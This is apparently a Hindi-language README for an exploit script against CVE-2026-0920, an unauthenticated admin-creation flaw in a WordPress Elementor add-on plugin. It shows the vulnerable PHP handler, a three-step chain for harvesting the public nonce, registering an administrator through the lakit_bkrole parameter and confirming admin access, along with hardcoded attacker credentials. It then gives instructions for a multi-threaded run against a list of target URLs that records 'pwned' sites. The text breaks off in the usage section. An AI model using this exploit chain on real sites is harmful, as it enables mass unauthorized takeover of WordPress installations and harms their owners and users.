CVE-2026-0920-

LA-Studio Element Kit for Elementor <= 1.5.6.3 - lakit_bkrole पैरामीटर के माध्यम से प्रशासनिक उपयोगकर्ता निर्माण हेतु बैकडोर द्वारा बिना प्रमाणीकरण के विशेषाधिकार वृद्धि

   _____   _____   ___ __ ___  __      __  ___ ___ __  
  / __\ \ / / __|_|_  )  \_  )/ / ___ /  \/ _ \_  )  \ 
 | (__ \ V /| _|___/ / / () / // _ \___| () \_, // / () |
  \___| \_/ |___| /___\__/___\___/    \__/ /_//___\__/ 

🧠 अवलोकन

CVE-2026-0920 एक CVSS 9.8 क्रिटिकल भेद्यता है जो LA-Studio Element Kit for Elementor WordPress प्लगइन में खोजी गई है।

यह दोष ajax_register_handle() फ़ंक्शन में स्थित है, जो AJAX के माध्यम से बिना प्रमाणीकरण के उपयोगकर्ता पंजीकरण को संसाधित करता है। यह फ़ंक्शन lakit_bkrole पैरामीटर पर किसी भी प्रतिबंध को लागू करने में विफल रहता है — जिससे पूरी तरह से बिना प्रमाणीकरण वाला हमलावर पंजीकरण के दौरान administrator भूमिका स्वयं-निर्धारित कर सकता है, और एक ही अनुरोध में पूर्ण WordPress एडमिन अधिग्रहण प्राप्त कर सकता है।

💀 भेद्यता का गहन विश्लेषण

मूल कारण प्लगइन के AJAX पंजीकरण हैंडलर में भूमिका क्षमता जांच की कमी है:

// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);

public function ajax_register_handle() {
    $actions = json_decode(stripslashes($_POST['actions']), true);

    foreach ($actions as $req) {
        if ($req['action'] === 'register') {
            $data = $req['data'];

            $user_data = [
                'user_login' => $data['username'],
                'user_pass'  => $data['password'],
                'user_email' => $data['email'],
                'role'       => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
            ];

            // No validation of $data['lakit_bkrole'] against allowed roles
            wp_insert_user($user_data); // Administrator created silently
        }
    }
}

यह क्रिटिकल क्यों है:

• wp_ajax_nopriv_* = बिना किसी प्रमाणीकरण के किसी भी व्यक्ति के लिए सुलभ
• lakit_bkrole किसी भी WordPress भूमिका स्ट्रिंग को स्वीकार करता है — जिसमें administrator भी शामिल है
• एक ही POST अनुरोध पूर्ण विशेषाधिकार वाला एडमिन खाता बनाता है
• आवश्यक nonce साइट के फ्रंट-एंड HTML/JS में सार्वजनिक रूप से उजागर होता है
• कोई रेट लिमिटिंग नहीं, डिफ़ॉल्ट रूप से कोई CAPTCHA लागू नहीं, कोई ईमेल सत्यापन आवश्यक नहीं

⚔️ एक्सप्लॉइट श्रृंखला

Step 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)

Search HTML/JS for:
  "ajaxNonce": "<value>"         ← Inline JSON config
  ajaxNonce: '<value>'           ← JS variable
  data-ajaxnonce="<value>"       ← HTML attribute

Nonce is publicly accessible — no login required.
  ↓
ajaxNonce extracted ✔️

──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php

  action  = lakit_ajax
  _nonce  = <extracted nonce>
  actions = {
    "req1": {
      "action": "register",
      "data": {
        "email":                  "[email protected]",
        "password":               "adminSA",
        "username":               "Nx_admin",
        "lakit_field_log":        "yes",   ← use supplied username
        "lakit_field_pwd":        "yes",   ← use supplied password
        "lakit_field_cpwd":       "no",    ← skip password confirm
        "lakit_bkrole":           "1",     ← trigger admin role injection
        "lakit_recaptcha_response": ""
      }
    }
  }
  ↓
Administrator account silently created ✔️

──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
  log = Nx_admin
  pwd = adminSA
  ↓
Session cookies obtained → GET /wp-admin/plugin-install.php
  ↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️

⚙️ आवश्यकताएँ

pip install requests colorama

Python 3.10+ अनुशंसित (str | None यूनियन टाइप हिंट का उपयोग करता है)।

📂 फ़ाइल संरचना

CVE-2026-0920/
├── CVE-2026-0920.py          # Main exploit script
├── list.txt                  # Target URLs — one per line
├── success_results.txt       # Auto-generated: pwned targets + credentials

🚀 उपयोग

चरण 1 — क्रेडेंशियल कॉन्फ़िगर करें (वैकल्पिक)

CVE-2026-0920.py खोलें और अपने इच्छित एडमिन खाता विवरण सेट करने के लिए शीर्ष पर मौजूद कॉन्स्टेंट संपादित करें:

ADMIN_EMAIL    = "[email protected]"   # Email for the new admin account
ADMIN_PASSWORD = "adminSA"                 # Password for the new admin account
ADMIN_USERNAME = "Nx_admin"               # Username for the new admin account

चरण 2 — टार्गेट तैयार करें

प्रत्येक पंक्ति में एक टार्गेट URL के साथ list.txt बनाएं:

https://target1.com
https://target2.com
http://target3.com

बिना स्कीम वाले URLs को स्वचालित रूप से https:// उपसर्ग दिया जाता है।

चरण 3 — एक्सप्लॉइट चलाएं

python CVE-2026-0920.py

आपको संकेत दिया जाएगा:

Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50):             20

चरण 4 — लाइव आउटपुट देखें

स्क्रिप्ट रीयल-टाइम, रंग-कोडित टर्मिनल आउटपुट उत्पन्न करती है: